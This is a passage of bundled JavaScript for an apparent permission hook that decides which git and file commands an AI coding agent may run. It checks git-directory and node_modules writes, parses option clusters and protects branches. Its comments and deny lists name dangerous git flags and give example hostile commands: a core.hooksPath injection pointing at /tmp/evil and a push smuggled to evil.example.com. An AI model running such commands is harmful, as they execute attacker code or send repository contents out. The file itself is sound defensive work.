}).toString().trim();\n if (!gitDir || !commonRaw) return false;\n const commonDir = resolve(cwd, commonRaw);\n return realpathSync(gitDir) === realpathSync(commonDir);\n } catch {\n return false;\n }\n}\n\n//#endregion\n//#region src/lib/git-short-options.ts\n/** Per-subcommand required-value short option letters. Deliberately excludes\n* `-t` (`--track`): see the note below the value-taking sets.\n*/\nconst VALUE_TAKING_LETTERS = {\n switch: /* @__PURE__ */ new Set([\"c\", \"C\"]),\n checkout: /* @__PURE__ */ new Set([\"b\", \"B\"])\n};\n/**\n* Decompose a short-option cluster token for `sub`. Returns `undefined` for\n* anything that is not a short-option cluster: a token that does not start\n* with `-`, the bare `-`, and anything starting with `--`. Every caller keeps\n* handling those tokens exactly as it does today.\n*\n* Otherwise walks the characters after the leading `-` left to right,\n* collecting each into `letters`, and stops at the first character that is a\n* required-value option letter for `sub` -- that letter is the last one\n* collected, and the remainder of the token (possibly empty) becomes\n* `attachedValue`, never inspected as flags again.\n*\n* Worked cases:\n* - `-fc` (switch or checkout) -> letters `[\"f\", \"c\"]`, no attached value --\n* `f` never stops the scan, so `c`/`C` is just collected as another letter\n* unless the subcommand's own value-taking set includes it earlier.\n* - `-cf` (switch) -> letters `[\"c\"]`, attached value `\"f\"`.\n* - `-cfeat/x` (switch) -> letters `[\"c\"]`, attached value `\"feat/x\"`.\n* - `-c` (switch) -> letters `[\"c\"]`, attached value `\"\"` (git reads the\n* branch name from the next argv element).\n*/\nfunction splitShortOptionCluster(token, sub) {\n if (!token.startsWith(\"-\") || token.startsWith(\"--\") || token.length <= 1) return;\n const valueLetters = VALUE_TAKING_LETTERS[sub];\n const letters = [];\n const chars = token.slice(1);\n for (let i = 0; i < chars.length; i++) {\n const ch = chars[i];\n letters.push(ch);\n if (valueLetters.has(ch)) return {\n letters,\n attachedValue: chars.slice(i + 1)\n };\n }\n return { letters };\n}\n\n//#endregion\n//#region src/lib/path-scope.ts\n/**\n* Path-containment helpers that are correct across operating systems.\n*\n* The hook receives a `cwd` from its host. On Windows the same location can be\n* spelled with either drive-letter case (`D:\\proj` vs `d:\\proj`) -- the IDE is\n* inconsistent -- and NTFS treats them as identical. Plain `===` / `startsWith`\n* comparisons on the resolved path therefore misfire whenever the drive-letter\n* case differs, falling through to passthrough (reads) or a false\n* \"outside the project\" deny (writes).\n*\n* The fix: pick the path flavor (win32 vs posix) from the *trusted* base path --\n* `cwd` -- and run every resolve/compare through that flavor. win32's\n* `relative()` is case-insensitive and separator-aware, so drive-letter case no\n* longer matters; posix stays case-sensitive, as that filesystem demands.\n* Deriving the flavor from the base (not the incoming target) means a crafted\n* target can't flip the comparison mode.\n*/\n/** Select the path flavor implied by a base path (a leading drive letter => win32). */\nfunction pathFlavorFor(base) {\n return /^[a-zA-Z]:[\\\\/]/.test(base) ? path.win32 : path.posix;\n}\n/** Resolve `target` against `base` using the flavor implied by `base`. */\nfunction resolveIn(base, target) {\n return pathFlavorFor(base).resolve(base, target);\n}\n/**\n* Whether `target` is `dir` itself or nested beneath it, compared with `dir`'s\n* flavor. `target` is expected to be already resolved (absolute); pass it through\n* `resolveIn` first when it may be relative or contain `..`.\n*/\nfunction isWithin(dir, target) {\n const pp = pathFlavorFor(dir);\n const rel = pp.relative(dir, target);\n if (rel === \"\") return true;\n if (rel === \"..\" || rel.startsWith(\"..\" + pp.sep)) return false;\n return !pp.isAbsolute(rel);\n}\n/** Whether two paths refer to the same location, compared with `a`'s flavor. */\nfunction samePath(a, b) {\n return pathFlavorFor(a).relative(a, b) === \"\";\n}\n/**\n* Whether `filePath` (resolved against `cwd`) is a `.git` directory\n* anywhere under `cwd` -- top-level or nested inside a subdirectory repo --\n* or anything beneath one. Covers both the directory in a normal clone and\n* the gitdir-pointer *file* git writes at the root of a worktree checkout\n* (both cases have a path segment exactly equal to `.git`).\n*\n* A nested repo's git dir (`<cwd>/sub/.git/config`) is just as sensitive as\n* the top-level one: an unguarded write there can add a malicious remote or\n* rewrite push config that a later `cd sub && git push` trusts. So this\n* checks every path segment of `filePath` resolved against `cwd`, not just\n* `<cwd>/.git` -- matching `.git` at *any* depth, as long as the resolved\n* path stays within `cwd` (paths outside `cwd` are handled by the\n* outside-cwd-write rule instead).\n*\n* Matches on a resolved path *segment* exactly equal to `.git`, not a\n* substring, so it does not mistake `.gitignore`, `.gitkeep`, `.github/`,\n* `src/foo.git.ts`, or a directory merely named `mygit`/`git` for a `.git/`\n* target.\n*/\nfunction targetsGitDir(filePath, cwd) {\n const pp = pathFlavorFor(cwd);\n const resolved = resolveIn(cwd, filePath);\n if (!isWithin(cwd, resolved)) return false;\n const rel = pp.relative(cwd, resolved);\n if (rel === \"\") return false;\n return rel.split(pp.sep).includes(\".git\");\n}\n/**\n* Whether `filePath` (resolved against `cwd`) has a path segment exactly equal\n* to `node_modules` -- i.e. it names a location inside *any* installed package\n* tree, at any depth, including pnpm's virtual store\n* (`node_modules/.pnpm/<pkg>/node_modules/<pkg>/...`).\n*\n* **Deliberately not scoped to `cwd`**, unlike `targetsGitDir`. pnpm populates\n* `node_modules` with *hardlinks into the global content-addressable store*, so\n* a single in-place overwrite of an installed file (a plain `cp`, a `>`\n* redirect -- anything that opens the destination `O_WRONLY|O_TRUNC` rather than\n* unlinking it first) writes *through* the link and mutates the store's own\n* content-addressed file. That corrupts the package for the global store, every\n* other project on the machine that shares the inode, and every future install\n* or `pnpm dlx` that hardlinks it -- with no error at the scene, because the\n* directory that did the writing ends up perfectly consistent.\n*\n* This is exactly how a local `@bensandee/tooling` build landed on top of the\n* published 0.64.2 in the store on 2026-07-13: `cp -r <local>/dist/*` over a\n* scratch consumer's `node_modules/@bensandee/tooling/dist/`. The destination\n* was outside `cwd` -- so a cwd-scoped check would not have seen it -- and the\n* store stayed broken until a consumer's `pnpm dlx` failed days later with\n* `ERR_MODULE_NOT_FOUND` for a chunk that no published tarball has ever\n* contained.\n*\n* The lesson encoded here: **cwd-containment is not a safety boundary for\n* `node_modules`.** A path inside it is not \"in the project\" in any meaningful\n* sense -- it is a shared, machine-global resource wearing a local path. Hence\n* every segment of the *resolved* path is checked, wherever it lands.\n*\n* Matches on a path *segment*, not a substring, so `src/node_modules_helper.ts`\n* and `docs/node_modules.md` are not mistaken for the real thing.\n*/\nfunction targetsNodeModules(filePath, cwd) {\n return resolveIn(cwd, filePath).split(/[/\\\\]/).includes(\"node_modules\");\n}\n\n//#endregion\n//#region src/rules.ts\nconst GIT_READ_OPS = /* @__PURE__ */ new Set([\n \"status\",\n \"log\",\n \"diff\",\n \"show\",\n \"blame\",\n \"grep\",\n \"shortlog\",\n \"range-diff\",\n \"describe\",\n \"branch\",\n \"remote\",\n \"fetch\",\n \"ls-files\",\n \"ls-tree\",\n \"ls-remote\",\n \"show-ref\",\n \"for-each-ref\",\n \"rev-parse\",\n \"rev-list\",\n \"cat-file\",\n \"diff-tree\",\n \"name-rev\",\n \"merge-base\",\n \"check-ignore\"\n]);\n/** Git subcommands that modify the working tree, index, or history. */\nconst GIT_WRITE_OPS = /* @__PURE__ */ new Set([\n \"push\",\n \"add\",\n \"commit\",\n \"reset\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"checkout\",\n \"switch\",\n \"stash\",\n \"tag\",\n \"revert\",\n \"clean\",\n \"rm\",\n \"mv\"\n]);\n/** Flags on git that enable arbitrary code execution */\nconst GIT_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"-c\",\n \"--exec-path\",\n \"--pager\",\n \"--upload-pack\",\n \"--receive-pack\"\n]);\n/** Git global flags that consume the next token as an argument. */\nconst GIT_FLAGS_WITH_ARG = /* @__PURE__ */ new Set([\n \"-C\",\n \"-c\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/** Extract the git subcommand (first non-flag token after \"git\"), skipping flag arguments. */\nfunction getGitSubcommand(tokens) {\n const args = tokens.slice(1);\n for (let i = 0; i < args.length; i++) {\n const t = args[i];\n if (GIT_FLAGS_WITH_ARG.has(t)) {\n i++;\n continue;\n }\n if (t.startsWith(\"-\")) continue;\n return t;\n }\n}\nfunction isGitReadOp(tokens) {\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\") || t.startsWith(\"--output=\")) return false;\n }\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n return stashAction === \"list\" || stashAction === void 0;\n }\n if (sub === \"remote\") {\n let actionIdx = tokens.indexOf(\"remote\") + 1;\n while (tokens[actionIdx] === \"-v\" || tokens[actionIdx] === \"--verbose\") actionIdx++;\n const remoteAction = tokens[actionIdx];\n return remoteAction === void 0 || remoteAction === \"-v\" || remoteAction === \"--verbose\" || remoteAction === \"show\" || remoteAction === \"get-url\";\n }\n return GIT_READ_OPS.has(sub);\n}\nfunction isGitWriteOp(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === \"list\" || stashAction === void 0) return false;\n }\n return GIT_WRITE_OPS.has(sub);\n}\n/** Safe stash actions that don't risk data loss. */\nconst STASH_SAFE_ACTIONS = /* @__PURE__ */ new Set([\n \"push\",\n \"pop\",\n \"apply\",\n \"show\"\n]);\n/**\n* Positional (non-flag) path arguments of a `git mv` command. The caller only\n* invokes this once the subcommand is known to be `mv`, so `mv` is present.\n* `git mv` flags (-f/--force, -k, -n/--dry-run, -v/--verbose) never consume a\n* separate argument, so every non-flag token after `mv` is a path.\n*/\nfunction gitMvPaths(tokens) {\n const mvIdx = tokens.indexOf(\"mv\");\n return tokens.slice(mvIdx + 1).filter((t) => !t.startsWith(\"-\"));\n}\n/**\n* True when a short-option letter appears in any cluster after `sub`, or one of\n* `longFlags` appears verbatim. Neither `git rm` nor `git clean` has a short\n* flag taking an attached value, so a plain character scan is exact for them;\n* `git clean -e<pattern>` does, and a pattern containing the letter only ever\n* produces a false positive, which leaves the caller on the deny side.\n*/\nfunction hasShortLetterOrLongFlag(tokens, sub, letter, longFlags) {\n for (const t of tokens.slice(tokens.indexOf(sub) + 1)) {\n if (!t.startsWith(\"-\")) continue;\n if (t.startsWith(\"--\")) {\n if (longFlags.includes(t)) return true;\n continue;\n }\n if (t.slice(1).includes(letter)) return true;\n }\n return false;\n}\n/**\n* `git mv` and `git rm` are not auto-approvable, but they are not known-unsafe\n* either: the shell spellings they mirror already reach a prompt, and `git rm`\n* additionally refuses a file carrying uncommitted changes unless forced -- so\n* denying it while prompting for `rm` inverts the tiers.\n*\n* `git rm -r` stays denied to mirror the `rm-recursive` rule, which cannot\n* cover it: that rule matches on tokens[0] (`/^rm$/`) and never sees `git`.\n*/\nfunction isGitWorktreeMoveOrRemove(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"mv\" && sub !== \"rm\") return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n if (sub === \"rm\" && hasShortLetterOrLongFlag(tokens, sub, \"r\", [\"--recursive\"])) return false;\n return true;\n}\nconst WORKTREE_ADVICE = \"You're creating a feature branch in the primary worktree. An isolated worktree keeps this work independent of other windows, and with no commits on this branch yet, converting is cheap -- `git worktree add ../<dir> -b <branch>` (a sibling outside the repo, with its own dependency install). But it is the home of a **separate session opened there**: writes to a path outside this session's project directory are denied, so this session cannot edit it. If you cannot open a session there, stay in the primary checkout on this branch and check `git branch --show-current` before each commit.\";\n/**\n* True when the command creates a branch: `git checkout -b/-B` or\n* `git switch -c/-C`, including those letters carried in a short-option\n* cluster with other letters or an attached value (`-bfix-bug`, `-qc\n* feat/x`). A plain `git switch <branch>` is not creation. Long spellings\n* (`--create`, `--force-create`) are deliberately not recognized as creation\n* here -- only the short grammar is in scope.\n*/\nfunction isGitBranchCreation(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\" && sub !== \"switch\") return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n const creationLetters = sub === \"checkout\" ? [\"b\", \"B\"] : [\"c\", \"C\"];\n return after.some((t) => {\n const cluster = splitShortOptionCluster(t, sub);\n return cluster !== void 0 && cluster.letters.some((l) => creationLetters.includes(l));\n });\n}\n/**\n* Every branch name a force-create spelling in `after` (the tokens following\n* the subcommand -- and past `add`, for `worktree add`) targets. Usually zero\n* or one, but git's last-occurrence-wins on a repeated force-create flag is\n* not modeled: every occurrence contributes its target, so a repeated flag\n* (`git switch -C main -C feat/x`) denies conservatively rather than\n* resolving which one wins.\n*\n* Grammar, reusing `splitShortOptionCluster`: a cluster whose letters include\n* the force letter (`C` for switch, `B` for checkout and worktree add)\n* contributes its attached value when non-empty, else the next argv token;\n* an unambiguous prefix of `--force-create` (switch only -- `--force-` is\n* the shortest, since `--force` is itself a distinct exact option) contributes\n* the next argv token; the same prefix with a `=<name>` suffix contributes the\n* attached name. A force-create flag with nothing after it (a valueless\n* trailing `-C`, or `--force-create` as the last token) resolves no target\n* for that occurrence -- git errors on the command anyway, so today's routing\n* is preserved.\n*/\nfunction gitForceCreateTargets(after, letterSub) {\n const forceLetter = letterSub === \"switch\" ? \"C\" : \"B\";\n const targets = [];\n for (let i = 0; i < after.length; i++) {\n const t = after[i];\n if (t === void 0) continue;\n if (letterSub === \"switch\") {\n const [flag, ...rest] = t.split(\"=\");\n if (flag !== void 0 && flag.length >= 8 && \"--force-create\".startsWith(flag)) {\n const target = rest.length > 0 ? rest.join(\"=\") : after[i + 1];\n if (target !== void 0) targets.push(target);\n continue;\n }\n }\n const cluster = splitShortOptionCluster(t, letterSub);\n if (cluster === void 0 || !cluster.letters.includes(forceLetter)) continue;\n if (cluster.attachedValue !== void 0 && cluster.attachedValue !== \"\") {\n targets.push(cluster.attachedValue);\n continue;\n }\n const next = after[i + 1];\n if (next !== void 0) targets.push(next);\n }\n return targets;\n}\n/**\n* Every branch name a force-create spelling targets in a full `git ...`\n* command: `switch -C`/`--force-create`, `checkout -B`, or `worktree add -B`.\n* Any other subcommand -- including `worktree list`/`remove`/`move` -- always\n* resolves no target. `worktree add` reuses checkout's `-b`/`-B` grammar\n* (identical required-value letter), so no new letter set is needed.\n*/\nfunction gitCommandForceCreateTargets(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub === \"switch\" || sub === \"checkout\") return gitForceCreateTargets(tokens.slice(tokens.indexOf(sub) + 1), sub);\n if (sub === \"worktree\") {\n const worktreeIdx = tokens.indexOf(\"worktree\");\n if (tokens[worktreeIdx + 1] !== \"add\") return [];\n return gitForceCreateTargets(tokens.slice(worktreeIdx + 2), \"checkout\");\n }\n return [];\n}\n/**\n* True when a `switch`/`checkout`/`worktree add` command force-creates a\n* branch under a name in the protected set. Force-create resets an existing\n* branch to the start point (HEAD by default) rather than merely creating\n* it, so this is a claim about the TOKENS, not the current branch -- unlike\n* isGitProtectedBranchWrite (below), this never calls getCurrentBranch and is\n* valid even outside a repository, where main/master are protected\n* unconditionally.\n*/\nfunction isGitProtectedBranchForceCreate(tokens, ctx) {\n const targets = gitCommandForceCreateTargets(tokens);\n if (targets.length === 0) return false;\n const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n return targets.some((t) => protectedSet.has(t));\n}\n/**\n* True when a global flag sits before the subcommand that enables config or\n* executable injection (GIT_DANGEROUS_FLAGS) or repoints git at an arbitrary\n* directory (GIT_REPO_REDIRECT_FLAGS). Global flags sit *before* the\n* subcommand; only that span is inspected so a positional argument that\n* happens to be spelled \"-C\" is never mistaken for the flag. Shared by\n* isGitSafeWriteOp and isGitBareCheckout -- mirrors isGitFeatureBranchWrite's\n* and isGitSafePush's identical scans (same constants, same rationale).\n* Without this, `git -c core.hooksPath=/tmp/evil add file.txt` or\n* `git -C /etc worktree add ../wt feat/x` would auto-approve via the\n* branches below.\n*/\nfunction hasGitPreSubcommandDangerousFlag(tokens, sub) {\n const subIdx = tokens.indexOf(sub);\n for (const t of tokens.slice(1, subIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return true;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return true;\n }\n return false;\n}\n/**\n* True for a `checkout` that isn't branch creation (`-b`/`-B`, which stays\n* auto-approved via isGitSafeWriteOp -- deny rules run before allow rules\n* unconditionally, so a predicate that forgot to exclude them would start\n* denying branch creation) and carries no global config/exec-injection or\n* repo-redirect flag (those keep routing to the git-write catch-all, whose\n* message already covers them).\n*\n* `git checkout <ref>` (branch change) and `git checkout -- <path>` / `git\n* checkout <ref> -- <path>` (file restore) are not distinguishable from\n* syntax alone, so this predicate -- and the single deny rule built on it --\n* deliberately covers both shapes with one message carrying both redirects,\n* rather than two rules guessing at which one a bare `git checkout <arg>` is.\n*/\nfunction isGitBareCheckout(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\") return false;\n if (isGitBranchCreation(tokens)) return false;\n return !hasGitPreSubcommandDangerousFlag(tokens, sub);\n}\n/**\n* `git checkout -- <path>` restores files; the separator makes the argument\n* unambiguously a path rather than a branch. It discards uncommitted work, so\n* it is never auto-approved -- but `git restore -- <path>`, the spelling\n* git-bare-checkout's reason redirects to, only prompts. One risk, one tier.\n*\n* A `-f` spelling still denies: git-discard-changes is evaluated first.\n*\n* A trailing separator with nothing after it (`git checkout main --`, `git\n* checkout --`) is not a restore -- there is no pathspec to redirect to\n* `git restore`, so it keeps the bare-checkout deny.\n*/\nfunction isGitCheckoutPathRestore(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\") return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const rest = tokens.slice(tokens.indexOf(sub) + 1);\n const separatorIndex = rest.indexOf(\"--\");\n if (separatorIndex === -1) return false;\n return rest.slice(separatorIndex + 1).some((token) => !token.startsWith(\"-\"));\n}\n/**\n* True when a `switch`/`checkout` command carries a discard-changes spelling\n* after the subcommand: a prefix of `--force` or of `--discard-changes` (`--f`\n* and `--di` and longer -- git's parse-options accepts any unambiguous\n* long-option prefix), or a short cluster whose letters (before any\n* required-value option's attached value) contain `f`.\n*\n* Both long tests read `\"--force\".startsWith(token)`, never\n* `token.startsWith(\"--force\")`. `--force-create` shares the `--force` stem\n* and is a safe, auto-approved flag, so the reversed test would start denying\n* branch creation -- deny rules run before allow rules.\n*\n* This predicate has to be exhaustive rather than merely picking the deny\n* message: isGitUnrecognizedBranchFlag routes a flag outside the safe sets to\n* a human prompt, so a discard spelling missed here would soften to a prompt\n* instead of falling through to a deny.\n*/\nfunction isGitDiscardChanges(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"switch\" && sub !== \"checkout\") return false;\n return tokens.slice(tokens.indexOf(sub) + 1).some((t) => {\n if (t.length >= 3 && \"--force\".startsWith(t)) return true;\n if (t.length >= 4 && \"--discard-changes\".startsWith(t)) return true;\n return splitShortOptionCluster(t, sub)?.letters.includes(\"f\") ?? false;\n });\n}\n/**\n* Tokens safe after `switch`, exact-match only. An allowlist rather than a\n* denylist of `-f`/`--discard-changes`: git accepts unambiguous prefixes\n* (`--disc`) and short clusters (`-fc`), so a denylist of exact spellings\n* would not hold. `-` (previous-branch shorthand) is flag-shaped and must be\n* listed explicitly, or it would fall through to the deny side.\n*/\nconst GIT_SWITCH_SAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-c\",\n \"-C\",\n \"--create\",\n \"--force-create\",\n \"-d\",\n \"--detach\",\n \"-t\",\n \"--track\",\n \"--track=direct\",\n \"--track=inherit\",\n \"--no-track\",\n \"--guess\",\n \"--no-guess\",\n \"-q\",\n \"--quiet\",\n \"--progress\",\n \"--no-progress\",\n \"-\"\n]);\n/**\n* Tokens safe after `checkout`, kept separate from the switch set: `-c` is a\n* switch-only spelling and `-b`/`-B` are checkout-only, and sharing one set\n* would auto-approve each subcommand's flags on the other.\n*/\nconst GIT_CHECKOUT_SAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-b\",\n \"-B\",\n \"-t\",\n \"--track\",\n \"--track=direct\",\n \"--track=inherit\",\n \"--no-track\",\n \"--guess\",\n \"--no-guess\",\n \"-q\",\n \"--quiet\",\n \"--progress\",\n \"--no-progress\"\n]);\n/**\n* True when a flag-shaped switch/checkout token is safe: it is an exact\n* member of `safe`, or the helper reads it as a cluster whose every letter,\n* spelled `-<letter>`, is a member of `safe`. Exact-set membership is always\n* tried first and is the only test a non-cluster token (`-`, every long\n* flag) ever gets, so those keep matching exactly as they do today -- the\n* cluster reading is a fallback for short clusters only.\n*/\nfunction isSafeSwitchCheckoutFlag(t, sub, safe) {\n if (safe.has(t)) return true;\n const cluster = splitShortOptionCluster(t, sub);\n return cluster !== void 0 && cluster.letters.every((l) => safe.has(`-${l}`));\n}\n/**\n* True for a `switch`, or a branch-creating `checkout`, that the safe-flag\n* allowlists reject only because a flag is unrecognized -- `--orphan`,\n* `--conflict=`, `--recurse-submodules`, an abbreviation of a safe flag.\n* Ambiguous, not known-unsafe: the allowlists enumerate what has been\n* reasoned about, and a legitimate flag nobody listed must reach a human\n* prompt rather than a hard deny (blocking something safe is the failure\n* direction this hook does not accept). Mirrors\n* isGitPushWithoutExplicitRefspec's role in the same git-write `when`.\n*\n* Three shapes are deliberately left to deny instead: a discard spelling\n* (git-discard-changes, and isGitDiscardChanges is exhaustive so that this\n* predicate cannot soften one to a prompt), a `checkout` that creates no\n* branch (git-bare-checkout, whose message carries the restore redirect), and\n* a global config/exec-injection or repo-redirect flag, which keeps routing to\n* the git-write catch-all exactly as isGitBareCheckout leaves it.\n*/\nfunction isGitUnrecognizedBranchFlag(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"switch\" && sub !== \"checkout\") return false;\n if (isGitDiscardChanges(tokens)) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n if (sub === \"checkout\" && !isGitBranchCreation(tokens)) return false;\n const safe = sub === \"switch\" ? GIT_SWITCH_SAFE_FLAGS : GIT_CHECKOUT_SAFE_FLAGS;\n return after.some((t) => t.startsWith(\"-\") && !isSafeSwitchCheckoutFlag(t, sub, safe));\n}\n/**\n* Git write operations that are safe to auto-approve:\n* - `git add` -- staging is trivially reversible\n* - `git checkout -b/-B` -- branch creation, without a discarding flag\n* - `git switch -c/-C` -- branch creation, without a discarding flag\n* - `git switch <branch>` -- branch switching, without a discarding flag\n* (switch only handles branches, unlike checkout)\n* - `git stash` / `git stash push|pop|apply|show` -- reversible stash operations\n* - `git mv` -- only when every path is a `.md` file under `docs/` (plan-lifecycle moves)\n*/\nfunction isGitSafeWriteOp(tokens, ctx) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n if (sub === \"add\") return true;\n if (sub === \"mv\") {\n const GIT_MV_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\",\n \"-c\",\n \"--exec-path\"\n ]);\n if (tokens.some((t) => GIT_MV_UNSAFE_FLAGS.has(t) || t.startsWith(\"--exec-path=\"))) return false;\n const paths = gitMvPaths(tokens);\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n }\n if (sub === \"checkout\") {\n const afterCheckout = tokens.slice(tokens.indexOf(\"checkout\") + 1);\n if (!isGitBranchCreation(tokens)) return false;\n if (!afterCheckout.every((t) => !t.startsWith(\"-\") || isSafeSwitchCheckoutFlag(t, \"checkout\", GIT_CHECKOUT_SAFE_FLAGS))) return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n if (sub === \"switch\") {\n if (!tokens.slice(tokens.indexOf(\"switch\") + 1).every((t) => !t.startsWith(\"-\") || isSafeSwitchCheckoutFlag(t, \"switch\", GIT_SWITCH_SAFE_FLAGS))) return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === void 0) return true;\n return STASH_SAFE_ACTIONS.has(stashAction);\n }\n if (sub === \"worktree\") {\n const worktreeAction = tokens[tokens.indexOf(\"worktree\") + 1];\n if (worktreeAction !== \"list\" && worktreeAction !== \"add\") return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n return false;\n}\n/** Git subcommands eligible for the feature-branch auto-approval. */\nconst GIT_FEATURE_BRANCH_OPS = /* @__PURE__ */ new Set([\n \"commit\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"revert\",\n \"reset\"\n]);\n/** Global git flags that redirect the effective repository/work tree. */\nconst GIT_REPO_REDIRECT_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/**\n* Checks (2)-(4) of the feature-branch predicate -- subcommand membership\n* plus the three flag guards -- with the branch check (5) left out. \"Eligible\n* but for the branch\": isGitFeatureBranchWrite adds \"and the branch isn't\n* protected\", isGitProtectedBranchWrite adds \"and the branch is protected\".\n* A command this rejects (a dangerous flag, say) has no valid redirect to\n* the feature-branch path either way -- it stays on the git-write catch-all,\n* which is why both callers share this instead of each re-deriving their own\n* notion of \"would work on a feature branch\".\n*/\nfunction isGitFeatureBranchEligible(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub || !GIT_FEATURE_BRANCH_OPS.has(sub)) return false;\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t)) return false;\n if (t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\")) return false;\n }\n for (const t of tokens.slice(1)) {\n if (GIT_REPO_REDIRECT_FLAGS.has(t)) return false;\n if (t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return false;\n }\n if (sub === \"rebase\") {\n for (const t of tokens.slice(1)) if (t === \"--exec\" || t === \"-x\" || t.startsWith(\"--exec=\")) return false;\n }\n return true;\n}\n/**\n* True when:\n* 1.-4. isGitFeatureBranchEligible(tokens);\n* 5. getCurrentBranch(ctx.cwd) is non-null AND not in the protected set.\n*\n* Both must hold. Any failure -> return false and let the deny rules fire.\n*/\nfunction isGitFeatureBranchWrite(tokens, ctx) {\n if (!isGitFeatureBranchEligible(tokens)) return false;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return false;\n return !getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/**\n* True when a write is eligible for the feature-branch auto-approval\n* (isGitFeatureBranchEligible) but the current branch is known and\n* protected. An unknown branch -- detached HEAD, outside a repo, git state\n* unreadable -- must NOT take this rule: \"you are on a protected branch\" is\n* a claim the hook cannot make there, so those keep falling through to the\n* git-write catch-all.\n*/\nfunction isGitProtectedBranchWrite(tokens, ctx) {\n if (!isGitFeatureBranchEligible(tokens)) return false;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return false;\n return getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/** Push flags that move refs we never auto-approve: bulk, tags, deletes. */\nconst GIT_PUSH_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"--mirror\",\n \"--all\",\n \"--tags\",\n \"--follow-tags\",\n \"--delete\",\n \"-d\",\n \"--prune\"\n]);\n/**\n* Push-specific flags that redirect the destination or the remote-side helper\n* program independently of the positional remote/refspec parsing below.\n* `--repo` is equivalent to (and overrides) the positional <repository>\n* argument -- `git push --repo=<url>` can push to an arbitrary host even with\n* zero positional args, bypassing the \"known remote\" check entirely.\n* `--receive-pack`/`--exec` tell git which program to invoke as the remote\n* helper; on local/dumb transports git runs that program directly, so this is\n* local code execution, not just a remote-side concern. All three are unlike\n* `-C`/`--git-dir`/`--work-tree` (GIT_REPO_REDIRECT_FLAGS) in that they are\n* push subcommand options, not global git flags, so they only need checking\n* after the subcommand -- but the checking still has to happen.\n*/\nconst GIT_PUSH_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"--repo\",\n \"--receive-pack\",\n \"--exec\"\n]);\nconst GIT_PUSH_DANGEROUS_FLAG_PREFIXES = [\n \"--repo=\",\n \"--receive-pack=\",\n \"--exec=\"\n];\n/**\n* `-o`/`--push-option` send a string to the receiving hook -- but the reason\n* they must be rejected here is parsing, not the hook side effect. Unlike\n* `--repo`/`--receive-pack`/`--exec` above, which only ever appear as\n* `--flag=value`, `-o`/`--push-option` take a *space-separated* value\n* (`-o origin https://evil.example.com/x.git HEAD`). Left unrejected, that\n* value token survives the `!t.startsWith(\"-\")` positional filter below and\n* is mistaken for the remote, silently shifting the real destination into\n* the refspec position -- bypassing the \"known remote\" check in (5) entirely.\n* The `=` forms (`-o=value`, `--push-option=value`) aren't exploitable this\n* way (the URL stays a refspec and gets caught by the remote check), but are\n* rejected too rather than relying on that distinction holding up.\n*/\nconst GIT_PUSH_VALUE_FLAGS = /* @__PURE__ */ new Set([\"-o\", \"--push-option\"]);\nconst GIT_PUSH_VALUE_FLAG_PREFIXES = [\"-o=\", \"--push-option=\"];\n/**\n* The ref a refspec writes to. `src:dst` targets dst; a bare `ref` targets the\n* same name on the remote. Strips 